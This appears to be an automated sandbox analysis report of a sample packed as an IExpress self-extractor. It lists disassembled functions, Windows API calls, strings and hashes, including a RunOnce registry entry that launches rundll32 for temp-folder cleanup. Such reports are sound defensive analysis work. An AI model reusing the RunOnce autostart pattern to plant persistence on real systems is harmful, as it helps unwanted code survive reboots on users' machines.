Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 33681223698d986ea14eb38ec9e7e067dcb61c64ef0493e751801b54ec7f6a40
Instruction ID: 18bc45ae3c89400375f47972d7447eea7ede4bde0e3d2d659256134288061bf3
Opcode Fuzzy Hash: 33681223698d986ea14eb38ec9e7e067dcb61c64ef0493e751801b54ec7f6a40
Instruction Fuzzy Hash: 0090026426910057D6111B749D1941575915E8F606B955460A021C4494DB604851A992

Uniqueness

Uniqueness Score: -1.00%

Function 009A202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 009A2050
memset.MSVCRT ref: 009A205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 009A208C

Part of subcall function 009A171E: _vsnprintf.MSVCRT ref: 009A1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A20C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A20EA
GetSystemDirectoryA.KERNEL32 ref: 009A2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 009A2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A2144
GetSystemDirectoryA.KERNEL32 ref: 009A215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A21C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup1,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 009A223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009A2250

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 009A21F6
wextract_cleanup1, xrefs: 009A20A5, 009A20BE, 009A20F0, 009A2232
advpack.dll, xrefs: 009A2109
wextract_cleanup%d, xrefs: 009A209E
DelNodeRunDLL32, xrefs: 009A212E
%s /D:%s, xrefs: 009A21FF, 009A2210
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 009A2082
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A21A8, 009A2204

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup1
API String ID: 178549006-217856272
Opcode ID: 16e61c018ef0165ded33fbdb7c1822551b9db31bcf32071dada1a358324f1150
Instruction ID: 02135e7a3fb986ef3fcfa5935b2642b3977cadc743fdcbd3f3007fcdc8f77d2a
Opcode Fuzzy Hash: 16e61c018ef0165ded33fbdb7c1822551b9db31bcf32071dada1a358324f1150
Instruction Fuzzy Hash: 0951E271A18224ABDB209B64DC49FFB776CEF97700F0001A4FA49A6150EB719E49DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009A55A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000), ref: 009A55CF
lstrcmpA.KERNEL32(00000000,<None>,00000000), ref: 009A5638
LocalFree.KERNEL32(00000000), ref: 009A564C
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 009A5620

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Part of subcall function 009A6285: GetLastError.KERNEL32(009A5BBC), ref: 009A6285

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 009A56B9
GetDriveTypeA.KERNEL32(0000005A,?,A:\), ref: 009A571E
GetFileAttributesA.KERNEL32(0000005A,?,A:\), ref: 009A5737
GetWindowsDirectoryA.KERNEL32(0000005A,00000104,00000000,?,A:\), ref: 009A57CD
GetFileAttributesA.KERNEL32(0000005A,msdownld.tmp,00000000,?,A:\), ref: 009A57EF
CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 009A5802

Part of subcall function 009A2630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 009A2654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 009A5830

Part of subcall function 009A6517: FindResourceA.KERNEL32(009A0000,000007D6,00000005), ref: 009A652A
Part of subcall function 009A6517: LoadResource.KERNEL32(009A0000,00000000,?,?,009A2EE8,00000000,009A19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 009A6538
Part of subcall function 009A6517: DialogBoxIndirectParamA.USER32(009A0000,00000000,00000547,009A19E0,00000000), ref: 009A6557
Part of subcall function 009A6517: FreeResource.KERNEL32(00000000,?,?,009A2EE8,00000000,009A19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 009A6560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 009A5878

Part of subcall function 009A597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 009A59A8
Part of subcall function 009A597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 009A59AF

Strings

Z, xrefs: 009A570A
msdownld.tmp, xrefs: 009A57D3
A:\, xrefs: 009A56F4
RUNPROGRAM, xrefs: 009A55BD, 009A5600
<None>, xrefs: 009A5632
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A56AE, 009A56B3, 009A583D

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-1384155332
Opcode ID: 4b6b409de099d6083f6cd8be92549faef60d3806a3a22e1146580a607cdf3fab
Instruction ID: 70ef654ca74d9a7b3180ba231c9b92010e7ccafd5332d1e83705a5ca8877cd28
Opcode Fuzzy Hash: 4b6b409de099d6083f6cd8be92549faef60d3806a3a22e1146580a607cdf3fab
Instruction Fuzzy Hash: C6812970B08A149BDB24AB349C85BFB72AD9F97304F060466F586E2190EF748DC1CAD0

Uniqueness

Uniqueness Score: -1.00%

Function 009A597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 009A59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 009A59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 009A5A13
MulDiv.KERNEL32(?,?,00000400), ref: 009A5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 009A5A64
memset.MSVCRT ref: 009A5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 009A5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 009A5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 009A5BFC

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Part of subcall function 009A6285: GetLastError.KERNEL32(009A5BBC), ref: 009A6285

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: eeffb932412a1bf0d94d4bad3e1f8ba97695b59d89ae57b462513877c8cbe1bb
Instruction ID: 12826189c4a9447aad35aace0e56946fecb49d1e5405baefd1b876d5c84ffc7f
Opcode Fuzzy Hash: eeffb932412a1bf0d94d4bad3e1f8ba97695b59d89ae57b462513877c8cbe1bb
Instruction Fuzzy Hash: 4D71A1B1A14218AFEB159F64CC85BFB77BCFB8A304F0544AAF546D6140DA348E85CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009A4FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 009A4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 009A5006
LockResource.KERNEL32(00000000), ref: 009A500D
GetDlgItem.USER32(00000000,00000842), ref: 009A5030
ShowWindow.USER32(00000000), ref: 009A5037
GetDlgItem.USER32(00000841,00000005), ref: 009A504A
ShowWindow.USER32(00000000), ref: 009A5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 009A5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 009A5159

Strings

CABINET, xrefs: 009A4FE6, 009A4FF7
*MEMCAB, xrefs: 009A50C7

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: d7cf90f18f2e584ba749ba8215846b4b68897db1aac764e4857a586d42413a98
Instruction ID: 6d8c95f819d06064b7f048d7d666eb55a8f9011cf78c28fe8a9bbc5f0bfaf1d2
Opcode Fuzzy Hash: d7cf90f18f2e584ba749ba8215846b4b68897db1aac764e4857a586d42413a98
Instruction Fuzzy Hash: 15319FB075C6127BD7205B61AD89F77369CFFCB759F050024F906A21A1DBA4CC01E6E5

Uniqueness

Uniqueness Score: -1.00%

Function 009A44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 009A45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 009A45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 009A460D
MessageBeep.USER32(00000000), ref: 009A4630
MessageBoxA.USER32(?,00000000,no230,00000000), ref: 009A4666
LocalFree.KERNEL32(00000000), ref: 009A466F

Part of subcall function 009A681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 009A686E
Part of subcall function 009A681F: GetSystemMetrics.USER32(0000004A), ref: 009A68A7
Part of subcall function 009A681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 009A68CC
Part of subcall function 009A681F: RegQueryValueExA.ADVAPI32(?,009A1140,00000000,?,?,0000000C), ref: 009A68F4
Part of subcall function 009A681F: RegCloseKey.ADVAPI32(?), ref: 009A6902

Strings

LoadString() Error. Could not load string resource., xrefs: 009A44E4
no230, xrefs: 009A4545, 009A465A

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$no230
API String ID: 3244514340-3895311705
Opcode ID: f3ddb4f21c1ac18b0ef2dc0095535b2a34d289ff55550265141531c9029d2f23
Instruction ID: fd7b2540d6f2a3f9db5733b205cc22f47c8c9df2d5c91287e8e01d87ce0e6bc6
Opcode Fuzzy Hash: f3ddb4f21c1ac18b0ef2dc0095535b2a34d289ff55550265141531c9029d2f23
Instruction Fuzzy Hash: 63510272904219ABDB219F28CC48BAABB79EFC7300F144195FD19A7241DBB1DE05DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009A53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A171E: _vsnprintf.MSVCRT ref: 009A1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A53FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5452

Strings

IXP, xrefs: 009A5419
IXP%03d.TMP, xrefs: 009A53C0
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A53B7, 009A53E1, 009A541E

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-957705000
Opcode ID: fa2304bcdb55c81505cce9b2eb2c911c5514b43d64842ebaeb6050abd12f6fcb
Instruction ID: d0c2e22d79357908f61fe0fcccd8fe0a043fa7b6f7255fbe31d24cc041cba9ef
Opcode Fuzzy Hash: fa2304bcdb55c81505cce9b2eb2c911c5514b43d64842ebaeb6050abd12f6fcb
Instruction Fuzzy Hash: 99110E7170862477D720AB369C49FAF36ADEFC7321F010029B646D22A0DF748D82D6E2

Uniqueness

Uniqueness Score: -1.00%

Function 009A5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A54C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A556F

Part of subcall function 009A53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A53FB
Part of subcall function 009A53A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5402
Part of subcall function 009A53A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A541F
Part of subcall function 009A53A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A542B
Part of subcall function 009A53A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5434

Strings

alpha, xrefs: 009A54F0
mips, xrefs: 009A54F7
i386, xrefs: 009A54FE
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A547D, 009A5481, 009A54AB, 009A551C, 009A553C, 009A5568
ppc, xrefs: 009A54E9

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-772166365
Opcode ID: dfc797a4e1f66a420925320b5424d262c822e25ef8807f07b9b837ca0314072c
Instruction ID: 35b900b0df667288f431ef23adbaf0ae2a65f015aa9bc36f33af30669b1c93b7
Opcode Fuzzy Hash: dfc797a4e1f66a420925320b5424d262c822e25ef8807f07b9b837ca0314072c
Instruction Fuzzy Hash: A231F571F18A14ABCB10AF299C44A7F77AFAFC7744B06112AB802C2550DF74CE41DAD5

Uniqueness

Uniqueness Score: -1.00%

Function 009A256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,009A4096,009A4096,?,009A1ED3,00000001,00000000,?,?,009A4137,?), ref: 009A25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,009A4096,?,009A1ED3,00000001,00000000,?,?,009A4137,?,009A4096), ref: 009A25CB
RegCloseKey.KERNELBASE(?,?,009A1ED3,00000001,00000000,?,?,009A4137,?,009A4096), ref: 009A25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,009A4096,009A4096,?,009A1ED3,00000001,00000000,?,?,009A4137,?), ref: 009A25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,009A4096,00000000,00000000,00000000,00000000,?,009A1ED3,00000001,00000000), ref: 009A261A

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 009A25A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 009A25F5
PendingFileRenameOperations, xrefs: 009A25C3

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 91049203144ad89a9453a3148cc17a3f7e4af644c632256a9d22e125d2219d11
Instruction ID: 3f703097baa2776a4dbc2eb977fb8fa9f1a134e9e41dda4064fbe1c1a6596053
Opcode Fuzzy Hash: 91049203144ad89a9453a3148cc17a3f7e4af644c632256a9d22e125d2219d11
Instruction Fuzzy Hash: ED114C35D56238BB9B209B969C09DFBBEBCEF477A5F104056F808A2010DB305E44E6E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 009A7182
Part of subcall function 009A7155: GetCurrentProcessId.KERNEL32 ref: 009A7191
Part of subcall function 009A7155: GetCurrentThreadId.KERNEL32 ref: 009A719A
Part of subcall function 009A7155: GetTickCount.KERNEL32 ref: 009A71A3
Part of subcall function 009A7155: QueryPerformanceCounter.KERNEL32(?), ref: 009A71B8

GetStartupInfoW.KERNEL32(?,009A72B8,00000058), ref: 009A6A7F
Sleep.KERNEL32(000003E8), ref: 009A6AB4
_amsg_exit.MSVCRT ref: 009A6AC9
_initterm.MSVCRT ref: 009A6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 009A6B49
exit.KERNELBASE ref: 009A6BBF
_ismbblead.MSVCRT ref: 009A6BDA

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 086eb89605358e923bc088e2d47850e9bcab85260b2b843ab03a179a1731dbf5
Instruction ID: 8647015b625b620d88b80eaa5d594e34e93133318064b45f4316068adc0b1053
Opcode Fuzzy Hash: 086eb89605358e923bc088e2d47850e9bcab85260b2b843ab03a179a1731dbf5
Instruction Fuzzy Hash: E341AF7195C225DFDB219F689C097AAB7A8FF8B724F18401AE951E3290CF784C41DBE1

Uniqueness

Uniqueness Score: -1.00%

Function 009A58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,009A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,009A5534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 009A5943
